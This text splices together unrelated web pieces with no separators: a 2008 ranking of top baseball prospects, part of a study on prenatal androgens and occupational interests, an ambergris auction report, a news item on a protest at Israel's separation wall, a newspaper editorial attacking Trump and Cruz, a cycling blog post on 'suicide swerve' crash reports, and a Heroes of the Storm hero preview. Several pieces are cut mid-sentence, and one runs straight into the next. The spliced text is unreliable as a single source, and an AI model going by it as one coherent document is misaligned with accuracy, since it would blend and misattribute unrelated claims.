62. Chris Nelson, SS, Rockies (Tulsa)
Formerly viewed as a draft bust, Nelson finally showed major signs of life in Modesto in 2007, delivering on his promise as a former top-10 overall pick. Nelson is a decent glove at short who only needs more consistency to be an asset there. He also has a well-rounded offensive game.
61. Carlos Carrasco, RHP, Phillies (Reading)
A righty with three plus pitches, the best of which is a changeup, Carrasco has moved fast and should see a September look.
60. Daniel Cortes, RHP, Royals (Northwest Arkansas)
Cortes has a nice fastball-curveball combo, and pitched well in High-A in 2007 as a 20-year-old. Adding a changeup will be essential.
59. Michael Bowden, RHP, Red Sox (Portland)
Anyone who pitches well in Double-A at age 20 deserves serious notice, and that's just what Bowden did last year. His fastball-curve combo rates highly, and if his slider takes off, he could get into the fringes of the Red Sox rotation discussion.
58. Chuck Lofgren, LHP, Indians (Akron)
Lofgren throws a mid-90's fastball and two out-pitch quality breaking balls. His command needs some work, but he's got plenty of time to figure it out. Expect him in an Indians uniform in September.
57. Deolis Guerra, RHP, Twins (Fort Myers)
The most valuable commodity acquired in the Santana deal, Guerra is actually similar in that he throws a mid-90's fastball and excellent changeup. His command, curve, and maturity have a long way to go, but at his age, that's fine.
56. Reid Brignac, SS, Rays (Durham)
Brignac is somewhat overhyped due to a monster 2006, but any shortstop who can hit 25 homers from the left side of the plate has tremendous value in today's game. Think of him as Chase Utley Lite on offense, except at short.
55. Sean Rodriguez, SS, Angels (Salt Lake)
This list will be outdated at 3:35 p.m. today, when Rodriguez dons an Angels uniform for the first time. Rodriguez is similar to Brignac, except he is a righthanded hitter who isn't as good at defense. Why is he ranked higher? Brignac's ceiling is a bit higher, but Rodriguez has always been more consistent at the plate, and thus has a better chance of reaching his ceiling.
54. Aaron Poreda, LHP, White Sox (Winston-Salem)
Lefty. Throws 100. Any questions? (If there are, look at his numbers).
53. Lou Marson, C, Phillies (Reading)
One of the top backstops in the minors, Marson has shown aplomb both at the plate and behind it, and has reached Double-A at 21. Marson should be a.290/.360/.420 hitter with Gold-Glove caliber defense, and that's real value, especially in the NL.
52. Jason Heyward, OF, Braves (Rome)
One of the never-ending string of Braves draftees from Georgia, Heyward is one of the toolsiest players out there. He only sits this low because his pro experience is a grand total of twelve games.
51. Henry Alberto Rodriguez, RHP, Athletics (Midland)
Rodriguez started the year with Stockton, but as of today he's apparently been called up. He can hit triple digits on the radar gun. He also has a good changeup, which is rare for a 21-year-old Venezuelan. Rodriguez continues to improve his control, and gets high marks for coachability. If he really is in Double-A, he's definitely on the fast track.
50. Maximiliano Ramirez, C, Rangers (Frisco)
A.923 OPS in High-A from a 22-year-old backstop gets noticed. Ramirez isn't tremendous defensively, but it doesn't matter. He can play third or first as well. Victor Martinez is a good comparison.
49. Justin Masterson, RHP, Red Sox (Portland)
The big sinkerballer is primed to be a workhorse in the big leagues pretty soon. Think Derek Lowe.
48. Will Inman, RHP, Padres (San Antonio)
Inman isn't a dazzler with stuff, but his three average pitches keep leaving batters shaking their heads. Owner of 373 career Ks and a 2.53 ERA in 317 minor league innings, Inman, acquired in the Scott Linebrink deal, is in the upper echelon of short righty "performance prospects."
47. Aaron Thompson, LHP, Marlins (Carolina)
Two homers allowed in 115 innings last year. When a lefty with good stuff puts up something like that, it deserves notice. He's flown a bit under the radar, but he just might front a rotation someday.
46. Kasey Kiker, LHP, Rangers (Bakersfield)
A diminutive lefty, Kiker's size belies his stuff. He throws gas and backs it up with a big curveball. A former 12th overall pick, he hasn't disappointed yet, and, if he can stay healthy, he could be a really good one.
45. Sergio Romo, RHP, Giants (Connecticut)
Get a load of that K rate last year! Romo is the only relief pitcher on this list. He isn't the typical fastball-slider reliever; instead, he throws about every pitch that exists from every arm angle that exists. For a performance prospect, he isn't lacking in velocity, as his fastball can hit 93 mph. Think Dice-K moved to relief.
44. Jeff Natale, 2B, Red Sox (Pawtucket)
Oooooh and aaaaaaah all you want, this is my list. Natale's K/BB ratio is in Barry Bonds territory, and he backs it up with great contact rates. Sure, he's got bad range, but Derek Jeter's had a career, hasn't he? Natale is Jeter, placed at second, given less power but much fewer Ks. There isn't much room in Boston with Pedroia ingrained, but I actually rate Natale over Jed Lowrie; moving Pedroia to short so Natale can play 2B isn't really the worst idea ever.
43. Jeff Larish, 1B, Tigers (Toledo)
That's right, a Tigers prospect not named Porcello made the list. Natale has a bizarre stance at the plate, but it works for him, and his power-and-patience combo project as good enough for a first baseman. He also has a lower K rate than most TTO guys.
42. Adrian Cardenas, 2B, Phillies (Clearwater)
Cardenas is a line-drive hitter who projects to clear more fences as time goes on. Very advanced for age 20, there's a good chance he could end the year at Reading or even Lehigh Valley. He may ultimately slide to third base and supplant Pedro Feliz in 2009 or 2010.
41. Brooks Conrad, 2B, Athletics (Sacramento)
I'm starting to wonder who I advertize more in my articles: Conrad or Scott McClain. I'll just give you my standard quote: "Conrad led the entire minor leagues in extra-base hits in 2006. In AAA. In a severe pitcher's park. He can play seven positions and switch-hits. That's the kind of player you build a team around, not let rot in AAA." I've said that to seriously everyone I've ever met who cares about baseball. It may not be enough to give the deserving 27-year-old a major league PA, but it isn't going to make me stop trying.
40. Carlos Gonzalez, OF, Athletics (Sacramento)
Yeah, that's right, Gonzalez rates right above Brooks Conrad. For all the talk of tools, Gonzalez rates as plus everywhere, but his only plus-plus tool is his arm. That doesn't sound all that elite to me. It sounds like Jose Guillen; unfortunately, Guillen's attitude problems seem to apply to Gonzalez as well, as scouts frequently question his work ethic. Either way, it's not like Guillen isn't useful; I'm just saying, temper your expectations on this guy.
39. Elvis Andrus, SS, Rangers (Frisco)
Any teenager in Double-A gets my attention. Andrus, however, isn't ranked all that highly because his bat is all batting average. He seems destined for a bottom-of-the-order bat to go with his good glove. Still, he's so young and accomplished that you can't rule out a breakout at the plate at some point.
38. Andrew McCutchen, CF, Pirates (Indianapolis)
McCutchen is a toolsy, athletic player, but he has smarts to go along with his tools. He could stand to walk more, but his K rate is perfectly manageable given the rest of his plate production. A true five-tool player, McCutchen should soon dispose of the fourth-outfielder types the Pirates have recently been playing in center and push this team up from the cellar.
37. Chris Volstad, RHP, Marlins (Carolina)
A power groundballer with a deep repertoire and huge frame, Volstad evokes Aarong Harang comparisons. They may well be warranted. He is the best of the Marlins young arms.
36. Greg Reynolds, RHP, Rockies (Colorado Springs)
The No. 2 pick of the 2006 draft has advanced quickly despite injuries. His groundball stuff is perfectly suited for Coors field. Think of him as a much bigger version of Tim Hudson.
35. Landon Powell, C, Athletics (Sacramento)
Another underrated prospect, Powell may have the best throwing arm in the minors, and his contact, power, and discipline all rate well-above-average. Why is he underrated? Problems staying in shape often leave Powell closer to 285 pounds than his listed 245, and two severe knee injuries have held him back. He's a switch-hitter with All-Star potential if he stays healthy and in shape.
34. Daniel Moskos, LHP, Pirates (Lynchburg)
Sign No. 72 That Neal Huntington Is A Better GM Than Dave Littlefield: Moskos will be developed as a starter. His wipeout slider is already one of the best in the game, and he throws in the mid-to-upper-90's as well. If some of Pittsburgh's better prospects pan out, this team could contend more easily than you would think in 2010.
33. Engel Beltre, OF, Rangers (Clinton)
When scouts compare you to Barry Bonds, that's a good thing. Sure, Beltre is nowhere near his ceiling, but the kid is less than three months older than me; give him a break. It's tough to say what he'll become, but he's gonna be a good one.
32. Neftali Feliz, RHP, Rangers (Clinton)
Feliz is a bit further along than Beltre is, and has true ace potential. Fastballs don't come much better than his, sitting at 97 with a ton of movement. And he's just 19. Where did the Rangers come up with all these prospects? As an A's fan, I'm beginning to get a bit scared. Oh wait, we have tons of our own...
31. Josh Vitters, 3B, Cubs (Peoria)
The No. 3 overall pick in last year's draft, Vitters could be the next Evan Longoria. With so little of a track record, it's tough to rank him higher than this, especially given numerous defensive concerns.
30. Jesse English, LHP, Giants (San Jose)
Don't you love shock value? That's right, I'm ranking Jesse English -- whom Baseball America didn't rank in the Giants' top 30 prospects -- number 30 overall. Take a look at his minor league numbers, especially the strikeout rate, and you'll see why. English has had injury issues, but is now healthy and throwing harder and better than ever. He has been moved out of the bullpen and into the rotation, and the incredible movement on all of his pitches should make him keep his effectiveness as he climbs the ladder.
29. Greg Golson, OF, Phillies (Reading)
Look up "tools" in the dictionary, and you'll see Golson's picture. More than anyone else in baseball, Golson is an athlete. He has jaw-dropping raw power, an absolutely ridiculous throwing arm, and true game-changing speed. I'll bet he could jump over a car. Unfortunately, Golson's swing and plate discipline are completely unrefined, and the transition from athlete to baseball player, while underway, is certainly not too far along.
28. Tommy Hanson, RHP, Braves (Myrtle Beach)
Hanson was already pretty tough to hit coming into the year, with a mid-90's fastball and hammer curve. Throw in that he hasn't allowed a run in four starts, and he begins to look like an ace.
27. Chris Marrero, 1B/OF, Nationals (Potomac)
Marrero is a pure hitter. He can pull a pitch 450 feet or go the opposite way for a single. He isn't much of a defender, but hitters like this don't come often.
26. Corey Brown, OF, Athletics (Kane County)
A five-tool guy who's more about hitting than defense, Brown evokes some Nick Swisher comparisons in that he can play all three outfield positions while hitting for good power. Like Swisher, Brown will strike out a lot, and he doesn't walk as much, so he'll need more contact to be of as much use.
25. Austin Jackson, OF, Yankees (Trenton)
Jackson is a speedy CF with gap power and good contact. He projects as a.320/.380/.450 center fielder with plus defense and 40 steals per year. He's been young for his levels and has a chance of playing in old Yankee Stadium.
24. Jay Bruce, OF, Reds (Louisville)
Well, that'll get your attention. No, Bruce is not the number one prospect in baseball. Like Carlos Gonzalez, Bruce has a good amount of all five tools, but they all rate 60-65 on the 20-80 scale, which adds up to a good starting right fielder, not the best player in baseball. He'll be good, but he won't have a Hall of Fame career. Maybe Bobby Abreu with half the walks.
23. Matt LaPorta, OF, Brewers (Huntsville)
A true impact bat, LaPorta is starting his first full season in Double-A because he's so advanced. His hitting skills are similar to Chris Marrero's, only more advanced. Like Marreo, LaPorta isn't much of a defender, but with Prince Fielder at first and Ryan Braun in left, he's going to have to play right.
22. Ryan Royster, OF, Rays (Vero Beach)
Royster had an insane year at Low-A last year, but often gets overlooked in a deep Rays system. Don't make that mistake. Royster's got great natural hitting skills combined with plus-plus raw power, and his speed and defense make him a better prospect than LaPorta.
21. David Price, LHP, Rays (Vero Beach)
Last year's No. 1 overall pick checks in at No. 21 for now, and is ranked third on this list from players of the most recent draft class. Price throws in the mid-90's with a great slider and average changeup that hitters have to watch out for. He could be in Tampa very quickly, but, with no track record, I can't rank him much higher than this.
20. Chris Tillman, RHP, Orioles (Bowie)
Acquired as the "prime prospect" in the Erik Bedard trade, Tillman is the real deal: a 6-6 righty with two plus pitches who just turned 20 while pitching in AA. He draws comparisons to Phil Hughes, but hasn't gotten as much notice, probably because of the smaller market. If he continues his progress, he'll be ranked even higher than this.
19. Max Scherzer, RHP, Diamondbacks (Tucson)
Say what you want about Scherzer throwing too many fastballs; he's gotten to AAA and hasn't gotten hurt by it yet, so at this point you have to give him the benefit of the doubt. Mike Pelfrey provides some bad precedent, but was rushed more. Scherzer will likely make an already good pitching staff even better, no matter his role. The upside here is Fausto Carmona, and we don't even know what Carmona's upside is.
18. Adam Miller, RHP, Indians (Buffalo)
Injuries...Here's a guy who could close in the majors right now. Miller's heat sits at 97 as a starter, and he throws a great slider to back it up. If he could just stay healthy, he could contribute in the majors right now. Whether he starts or closes, he's going to really be something if he avoids the DL.
17. Matt Antonelli, 2B, Padres (Portland)
Antonelli was drafted as a third baseman who hit like a second baseman; now, he's morphed into a second baseman who hits like a third baseman. Batting titles are possible, and 25 homers might be attainable, even at Petco.
16. Mike Moustakas, SS, Royals (Burlington)
Picked No. 2 in the 2007 draft, Moustakas is one of the best high school hitters in recent memory. Questions abound as far as his eventual position (SS, 2B, 3B, or C) but it's not like he's on the left side of the defensive spectrum. Think Chase Utley.
15. Chris Davis, 3B, Rangers (Frisco)
Thirty-six homers between High-A and AA at age 21 is pretty amazing. Davis is merely adequate at third, but Baseball Prospectus called him "the likeliest bet in the minors to hit 40 homers." High praise indeed.
14. Trevor Cahill, RHP, Athletics (Stockton)
See the Hanson comment and increase the 2007 performance a bit, and you have Cahill. Amazingly, he's just the third-best pitcher in the system.
13. Rick Porcello, RHP, Tigers (Lakeland)
Touted as "the best HS arm since Josh Beckett," Porcello is clearly on the fast track to help Detroit. He and Larish are the only two real prospects they have, but Porcello can make up for it all if he meets his ceiling.
12. Travis Snider, OF, Blue Jays (Dunedin)
Snider isn't quite the top-10 prospect he's made out to be, but he's pretty close. He resembles Matt Stairs, and has a similar advanced feel for hitting, both for contact and for power. Snider is still very young and should be in Double-A before the end of the year. His ETA is September '09 and he could finally be the true No. 3 hitter the Jays need.
11. Wade Davis, RHP, Rays (Montgomery)
Davis, like so many other pitchers on this list, has a great fastball and curve; he ranks higher because he's done just a bit more with them so far.
10. Jake McGee, LHP, Rays (Montgomery)
McGee has three plus pitches to Davis' two, and he's a lefty who throws in the upper-90's, so he rates slightly higher. Davis, McGee, Price, Hellickson, Royster, Jennings, Scott Kazmir, Evan Longoria, James Shields, Andy Sonnanstine, Edwin Jackson, B.J. Upton, Carl Crawford, Carlos Pena...ARE YOU SEEING THIS?
9. Jose Tabata, OF, Yankees (Trenton)
Tabata is just 19 and is comfortably established in Double-A. Scouts believe he will develop a ton of power, but it hasn't happened yet. Still, Tabata should have enough pop in his bat in two years that he'll be ready to take over for Bobby Abreu. His development will be something to watch.
8. Fernando Martinez, OF, Mets (Binghamton)
Martinez is often compared to Tabata, and they're similar players. Martinez is ranked higher simply because he's got a bit more AA time under his belt and is therefore a bit more well-known of a commodity. Like Tabata, Martinez needs more power but has time to develop it. Unlike Tabata, Martinez can play center if needed.
7. Matt Wieters, C, Orioles (Frederick)
The highest-ranking 2007 draftee on this list, Wieters is a Colt Morton-sized catcher who is as great at the plate as he is behind it. If Joe Mauer switch-hit and had more power, he'd be Wieters.
6. Brett Anderson, LHP, Athletics (Stockton)
The most polished high school lefty that anyone can remember, Anderson throws a 90-mph fastball and complements it with a great curve-slider-change-combo. He has "next Tom Glavine" written all over him.
5. Gio Gonzalez, LHP, Athletics (Sacramento)
Gonzalez throws in the low-to-mid-90's with an absolutely ridiculous curve. Think Erik Bedard, or think Barry Zito with an extra seven mph of giddy-up. Watch out.
4. Carlos Triunfel, SS, Mariners (High Desert)
Triunfel hit.288/.333/.356 in High-A last year. Not impressed? He plays short. Still not impressed? How about this: he was born 35 days after me. Scouts think he'll develop a ton of power, so he should be fine. He falls from first to fourth, though, due to his slow start this year and whispers about his age.
3. Colby Rasmus, OF, Cardinals (Memphis)
See, Rasmus, not Bruce, is the NL Central outfielder everyone should get worked up about. Think Grady Sizemore with even more power.
2. Clayton Kershaw, LHP, Dodgers (Jacksonville)
Having made an awfully strong case for a big-league job at 19 in spring training, Kershaw's ceiling appears to be unlimited. Three plus-plus pitches to go with plus command tends to do that. And he's a lefty. Let's see Colletti screw this one up.
1. Angel Villalona, 3B, Giants (Augusta)
Talk about the sky being the limit. Villalona might hit 74 homers someday; that's the kind of power he has. Without steroids. It's all a mystery for a player who's over half a year younger than I am, but if Lincecum is still around by the time Villalona gets up to the Bay Area, the Giants might contend again.Abstract There is considerable interest in understanding women’s underrepresentation in science, technology, engineering, and mathematics careers. Career choices have been shown to be driven in part by interests, and gender differences in those interests have generally been considered to result from socialization. We explored the contribution of sex hormones to career-related interests, in particular studying whether prenatal androgens affect interests through psychological orientation to Things versus People. We examined this question in individuals with congenital adrenal hyperplasia (CAH), who have atypical exposure to androgens early in development, and their unaffected siblings (total N = 125 aged 9 to 26 years). Females with CAH had more interest in Things versus People than did unaffected females, and variations among females with CAH reflected variations in their degree of androgen exposure. Results provide strong support for hormonal influences on interest in occupations characterized by working with Things versus People. Keywords: androgens, interests, occupations, sex differences, congenital adrenal hyperplasia, STEM careers
Method Participants Females and males with congenital adrenal hyperplasia (CAH) due to 21-hydroxylase deficiency were studied as part of an ongoing project on androgen effects on psychological development. They were recruited through university-affiliated pediatric endocrinology clinics in the Midwestern United States, and compared to their unaffected siblings. Occupational interests were assessed in 125 individuals: 46 females with CAH, 21 unaffected sisters, 27 males with CAH, and 31 unaffected brothers. Participants aged from 9 to 26 years (M = 16.0, SD = 4.5); groups did not differ in age, F(3, 121) =.65, p >.05. Because not all participants with CAH had a same-sex sibling, siblings of males and females with CAH were combined to form control groups. Participants represented a variety of socioeconomic backgrounds and most were Caucasian. Other findings from the larger study are summarized elsewhere (e.g., Blakemore et al., 2009). The main hypotheses concerned females, but males were also tested to examine specificity of findings. Degree of prenatal androgen exposure was indexed by two features of the disease (Speiser, 2001), rated from medical records (see Berenbaum et al., 2000 for details). (1) Type of CAH was classified from least to most severe (Speiser, 2001): nonclassical (NC), simple virilizing (SV), mild salt-wasting (SW), and severe SW. SW-CAH required elevated plasma renin activity for age and responsiveness to mineralocorticoid therapy. Classification as mild SW-CAH required that all measurements of serum sodium be at least 129 mmol/L, and that there be no episodes of hypotension or shock; classification as severe SW-CAH required that serum sodium in the neonatal period be less than 129 mmol/L, or that there be at least one episode of hypotension or shock. Information on disease type was available for 43 of 46 females with CAH (6 NC, 5 SV, 10 mild SW, 22 severe SW) and all 27 males with CAH (5 NC, 1 SV, 5 mild SW, 16 severe SW). (2) Genital virilization at birth was rated on the Prader scale (Prader, 1954), which ranges from 0 (typical female genitalia) through 6 (typical male genitalia). This information was available for 37 of 46 females with CAH; scores ranged from 0 to 4 (M = 2.4, SD = 1.5). The two indices of prenatal androgen exposure (CAH type and Prader rating) were significantly related for females with CAH, r(37) =.73, p <.01. Measures and Procedure The Occupational Interests Inventory (OII) was developed for this study because standard instruments are intended only for older adolescents and adults. The OII parallels the Strong Interest Inventory (Harmon et al., 1994) and measures the same dimensions (Realistic, Investigative, Artistic, Social, Enterprising, Conventional, RIASEC) in participants of a wide age range. Participants rated their interest in each of 64 jobs by indicating whether they would dislike (0), be indifferent |
was found on a beach on the island of Anglesey in North Wales. It is formed in the digestive system of a sperm whale and is passed out either as vomit or as part of the faeces. Scientists believe it is used to coat irritating objects in the whale’s intestines when they eat metals or plastics.
This is the first time the substance was auctioned in open. Chris Surfleet, senior valuer and auctioneer in London said: “We are 100 per cent certain it is ambergris. A number of people with experience with ambergris have studied it who have confirmed it. It is a bit like gold in that it comes down to the price per gram. There is a lot of interest in unusual items these days.”
However, some nations do prohibit trade in ambergris but when it is found washed ashore, the discoverer can keep it, said the auctioneer to ward off fears of authorities pounding on the bidder.
Although ambergris was once highly valued by perfumers as a fixative allowing the scent to last much longer, it has been replaced by synthetics now.
Ancient Egyptians burned ambergris as incense, while it is used in cigarettes to give scent to the tobacco smoke. In ancient China, it was called “dragon’s spittle fragrance”.
When plague was at its peak causing Black Deaths in Europe, people believed that carrying a ball of ambergris could help prevent them from getting the plague as its smell overwhelmed the smell of the air due to deaths of plague.
Ambergris has also been used as a food flavouring agent and as an aphrodisiac in some cultures, while it was used in Europe in the medieval times as medicine for headaches, colds, epilepsy, and other ailments.The non-violent direct action is in protest of restrictions on access to the Aqsa Mosque that Israel places on Palestinian worshipers from the West Bank.
Some 50 Palestinian and international activists used two make-shift bridges to cross the separation wall between Qalandiya and northern Jerusalem Friday morning. They also cut razor wire adjacent to the wall.
The non-violent direct action was in protest of the restrictions on access to the Aqsa Mosque that Israel places on Palestinians from the West Bank.
Separately, following a tripartite meeting between U.S. Secretary of State John Kerry, Israeli Prime Minister Benjamin Netanyahu and Jordan’s King Abdullah about tensions on the Temple Mount and in Jerusalem, Israel Police announced that it was suspending the ban on worshippers under the age of 50.
That change, however, will not affect the ability of West Bank Palestinians to reach the Old City of Jerusalem, where the mosque is located. Decisions to grant entry permits for West Bank residents are made by the army and Shin Bet.
At the Hizme checkpoint, used by West Bank settlers to commute to Jerusalem, Palestinians attempted to march toward the holy city. They blocked Israeli traffic and were eventually dispersed by soldiers and police.
Related:
Hundreds protest collective punishment in East Jerusalem
PHOTOS: Palestinians break through separation wall near J’lem
PHOTOS: Protests in Jerusalem over Aqsa Mosque closures
For additional original analysis and breaking news, visit +972 Magazine's Facebook page or follow us on Twitter. Our newsletter features a comprehensive round-up of the week's events. Sign up here.OVER THE past weeks we have used some sharp words in our editorials about the race for the Republican nomination — words such as bigot, bully and buffoon. Some readers have asked whether by so doing we undermine our own calls for civil discourse. The answer has a lot to do with this moment in American history — a dangerous moment when something ugly is taking place in the political arena. It’s a time that demands a sharp and clear response from everyone who cares about fairness and decency, democracy and tolerance.
Generally the system works best when people assume that their political opponents are acting in good faith. We may feel strongly about gun laws, campaign finance or free trade, but we recognize that there are defensible arguments on the other side. In the heat of the debate, we sometimes fall short of our aspirations, but as U.S. politics become ever more partisan, it becomes ever more important to give opposing views a fair hearing. That’s one reason we publish a range of opinions on the facing page, especially ones that differ from our own.
But Donald Trump and his imitators present a different kind of challenge to democratic discourse, in at least three ways. Mr. Trump, the leading candidate for the Republican nomination, seeks to make his political fortune not by staking out and defending positions but by fanning and exploiting hatred and fear. He says and repeats things that are demonstrably false, which makes a mockery of legitimate debate. He prefers to insult, demean and ridicule anyone who challenges him rather than to engage meaningfully with their arguments.
The essence of his campaign has been to portray those who are different from him and his supporters as unworthy, less than human and so deserving of abuse. His incendiary language associates Mexicans with rapists and Muslims with terrorists. The demonization then is used to justify the unjustifiable: mass deportations for undocumented immigrants, torture for suspected terrorists, bombing enemies’ innocent relatives, barring all Muslims, beating up an African American protester.
Sen. Ted Cruz (R-Tex.) follows a similar playbook when he asserts, falsely, that immigration reform aimed at bringing undocumented immigrants out of the shadows would have given President Obama the authority to admit “ISIS terrorists.” Even his ostensibly humorous reference to “undocumented Democrats” serves to dehumanize. The Salvadoran woman worrying whether her children have done their homework as she works the night shift at a fast-food restaurant is no longer a person trying to give her kids a better life but a political token, deserving of no sympathy. It is legitimate to debate the proper level of immigration, but that’s not Mr. Cruz’s goal. When he echoes the segregationist Alabama governor George Wallace in his denunciation of a path to legalization, he is making a very different kind of argument.
We are told that Mr. Trump’s ugliness has found an audience because Americans are resentful and afraid. Globalization and technological change have left many behind. Rapid immigration has made some feel like strangers in their own country. After the shootings in Paris and San Bernardino, Calif., some wonder whether their government can keep them safe. Each of these issues could and should be addressed in a presidential campaign. It is Mr. Trump’s noxious choice to conflate all three without offering real solutions to any of them.
What is the right way to respond, and who is the right audience? Mr. Trump believes in nothing other than his own aggrandizement. Mr. Cruz is not going to let principle or conviction, if he has any, stand between him and his ambition. They are not the readers we have in mind when we write. It would be nice if Republican leaders who know the Trump message is un-American but have been too timid to speak out would rise to this occasion, but it seems we can’t count on that, either.
No, the audience that matters at this moment is all of the rest of us — Americans who know that our country is better than Mr. Trump and Mr. Cruz understand. Our history can be read as the continuing struggle, not always successful, of a fractious people to overcome prejudice and division and build a stronger, fairer nation. We overcame demagogues on race to carry out a civil rights agenda that responded, imperfectly, to the legacy of slavery and Jim Crow. We have overcome apostles of isolationism to defend democracy and freedom. Repeatedly we overcame ethnic mistrust to welcome immigrants into the fold and see them become the backbone of society.
Today many may be fearful of terrorists, immigration or losing ground economically. But most of us realize that demonizing others won’t solve problems. Mr. Trump is running the campaign of a bigot, a bully and a buffoon. It seems to us it’s worth saying so, if only to make clear that we also know we can do better.Last night, Ted and I discussed this unlikely report of a cyclist’s accidental death. The cyclist, 20 year old Justin Price, was riding to work in the shoulder when, according to witnesses, he suddenly swerved into the side of a passing tractor trailer. Although the truck driver, Kerry Williams, heroically tried to avoid Price, Price hit the truck. Price bounced off of the side of the truck, but he apparently didn’t have enough — police say Price swerved back to the truck again, after which he, sadly, perished after he ended up under the trailer.
Anybody who reads news accounts of road cycling traffic collisions frequently find mention of these inexplicable “suicide swerves,” in which the hapless driver is just driving along when that maniac on a bike inexplicably swerves right into the car.
Those who share the road with traffic realize what probably happened: the motorist passed with inches to spare, or they move over a little to pass but then merge right into the cyclist’s space on the road before the pass is complete. In either case, the results can be tragic for the cyclist, even if the cyclist did everything right.
Amelie Le Moullac was killed two weeks ago when, according to those with the windshield perpsective, she “swerved” into the side of a truck in San Francisco. The presumption of guilt on the cyclist has prompted local bike advocates heap heavy criticism on the SFPD for their cursory investigation. In Santa Cruz, the police reported a cyclist swerved into a passing gravel truck in 2007, when the accident reconstruction for the subsequent civil suit showed the truck driver likely hit the cyclist in this fatal collision.
Because these reports putting blame on the cyclist are so common, many people — Ted and I included — sardonically refer to these reports as a “suicide swerve.” A subset of these — the infamous “Single Witness Suicide Swerve” or SWSS — comes from the days of Usenet and possibly predates even that. The SWSS refers to a crash with a single surviving witness — the driver of the motor vehicle — who swears to a credulous investigator that the cyclist just swerved right in front of the driver. The presumption of guilt on the cyclist is reflected even in our traffic collision statistics, which show a majority of bike-vs-car collisions are caused by the cyclist.
During this online discussion, we discovered some people take exception to our use of the word “suicide.” Suicide is, after all, a serious and sensitive topic for many people, and some thought the term was used as click bait. We explained the usage, however, and our friends understood. Most cyclists probably don’t have a death wish, but just want to get from point A to B. The idea that cyclists intentionally swerve into the sides of passing trucks is, frankly, offensive, yet many investigators seem to believe that’s how we behave.
Yes, there’s stupid behavior that will kill you, and I’ve seen plenty of it in my part of California. I’ve watched cyclists try to squeeze into a too small space on the road, and I’ve occasionally been the idiot party myself, both on bike and in the car. I’d wager, however, that many “swerves into traffic” are instances where a passing driver doesn’t have room to pass, or passes with only inches to spare while expecting superhuman agility on the part of the cyclist to hold his line.
I applaud the San Francisco Bicycle Coalition demands for better investigations of bicycle fatalities in their city.
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PocketDehaka from Starcraft. (Photo: Blizzard)
Technobubble covers games, gadgets, technology and all things geek. Follow Technobubble poobah Jason Hidalgo’s shenanigans on Twitter @jasonhidalgo
Fans of Heroes of the Storm will literally dig the 50th hero for the game.
Dehaka is set to burrow his way into the Nexus as Blizzard officially unveiled the primal zerg Wednesday as the latest fighter to join its hero brawler.
Blizzard fueled much speculation about the new character after teasing the hero on Twitter with the image of a burrow hole. Several sharp-eyed fans speculated that the new character was none other than the essence collector from Starcraft, which the developer officially confirmed this morning.
After sitting in a corner and giggling to myself during the embargo period, I've put together some of the key characteristics for Dehaka as well as some tips, concept art and gameplay images straight from Blizzard.
That, I can certainly dig.
Following the release of ranged assassin Li-Ming and specialist Xul, we get a melee warrior this time around. A quick glance at Dehaka’s abilities reveals a sneaky fighter with escape, status infliction, sustain, baiting, near-global presence and a latching ability for literally dragging foes toward your teammates. To quote Mr. Burns, “ehhhxellent…” (insert hand or pincer rubbing here). Here’s a rundown of Dehaka’s base kit. For folks who prefer a straight-up description, I have included Blizzard's unedited ability list at the end of the article.
CLOSE Blizzard provides the rundown on Dehaka as the primal zerg burrows into Heroes of the Storm as its latest melee warrior. Blizzard
Mount
Dehaka’s kit starts with an interesting mechanic that eschews the traditional mount for Brushstalker [Z]. When pressing Z, Dehaka can burrow to any bush or vent on the battlefield. I repeat, ANY bush or vent on the battlefield. Talk about every face checker’s nightmare. One downside is that the move has a 40-second cooldown, which is pretty much necessary to prevent the move from being abused. Like John Turturro in Mr. Deeds, he’s a-very, very sneaky. This move obviously has good use for movement and escape but can also be used aggressively by moving into the enemy backline during team fights, allowing you to either exert additional pressure or cut off escaping foes.
Trait
Dehaka’s trait is called Essence Collection [D], allowing him to collect “Essence” from fallen foes. Essentially — pun oh-so totally intended — one hero takedown nets Dehaka 10 essence while minion kills near him grant two essence. Dehaka can collect up to a maximum of 50 essence. So what does this essence do? Well, by pressing D, Dehaka can restore health for each stack consumed over the next five seconds. In addition, the essence can be used during Drag or Burrow, both of which are detailed below.
Basic abilities
Drag [Q]: Drag lets Dehaka stick out his tongue like a little kid. Instead of getting admonished by mommy, however, the ability allows Dehaka to not only deal light damage to the first enemy hit by his tongue but also drag said hapless foe with him for 1.75 seconds. Blizzard says effective use of Drag is what separates good Dehaka players from the wannabes. It’s especially effective against squishy characters, allowing you to drag them into your team’s warm, killing embrace. I wonder what a Dehaka-Stiches combination would look like, hm?
Dark Swarm [W]: This ability allows Dehaka to move through units while dealing damage around him for three seconds. For added effect, the ability also can be cast during Drag and Burrow. Oh yeah, it also deals double damage against enemy heroes.
Burrow [E]: So what’s this burrow we keep hearing about? As its name implies, Burrow lets Dehaka dig into the ground. What’s more, the move also puts him in Stasis for two seconds, gaining Invulnerability during this time. Remember, this can also be used together with the damaging Dark Swarm and the health-recovering portion of Essence Collection for additional options in a pinch. Blizzard describes this move as Dehaka’s trump card. In addition to buying you time to survive, it also can be used to bait foes eager for a kill to overextend until your team arrives.
Mecha Skin for Dehaka in Heroes of the Storm. (Photo: Blizzard)
Heroic abilities
Isolation [R]: The preferred heroic for folks who live under a bridge. This move launches a a biomass attack that damages, silences and also slows the first enemy hero it hits by 30 percent for 3 seconds. Three seconds is a long time in a team fight so this can be potentially troublesome for foes. In addition, the targeted enemy also loses sight of allied heroes and suffers from greatly reduced vision for six seconds. Ouch. As someone who mains supports, this ability actually has me worried. Anyway, this is the heroic to pick if you’re having no problems surviving and want to push the offensive.
Adaptation [R]: Are those mean, terrible enemies ganging up on you and focusing your zerg carcass to oblivion all game long? Then this just might be what the Witch Doctor ordered. Adaptation triggers after a five-second delay, letting you recover 60 percent of the damage you received during that time. That could keep you alive long enough during an engagement to survive or turn around a team fight, provided you time it right, of course.
Anyway, there you have it, the latest new hero for Heroes of the Storm, Dehaka. What do you guys think of him so far? By the way, for folks eager to see him in motion, I have it on good authority that Blizzard is set to drop a video very, very, very soon.
"Heroes of the Storm" features a collection of Blizzard characters such as Starcraft's primal zerg Dehaka. (Photo: Blizzard)
Straight ability list
MOUNT: Brushstalker [Z]
You cannot use Mounts. Instead, you may burrow to any bush or vent on the Battleground. 40 second cooldown
TRAIT: Essence Collection [D]
You collect 10 Essence per Hero Takedown, and 2 per enemy Minion killed nearby, storing up to a maximum of 50 Essence.
Activate to consume all stored Essence and regenerate Health over the next 5 seconds for each stack consumed.
Can be cast during Drag and Burrow.
BASIC ABILITY: Drag [Q]
Lash out with your tongue, dealing light damage to the first enemy hit, and dragging them with you for 1.75 seconds.
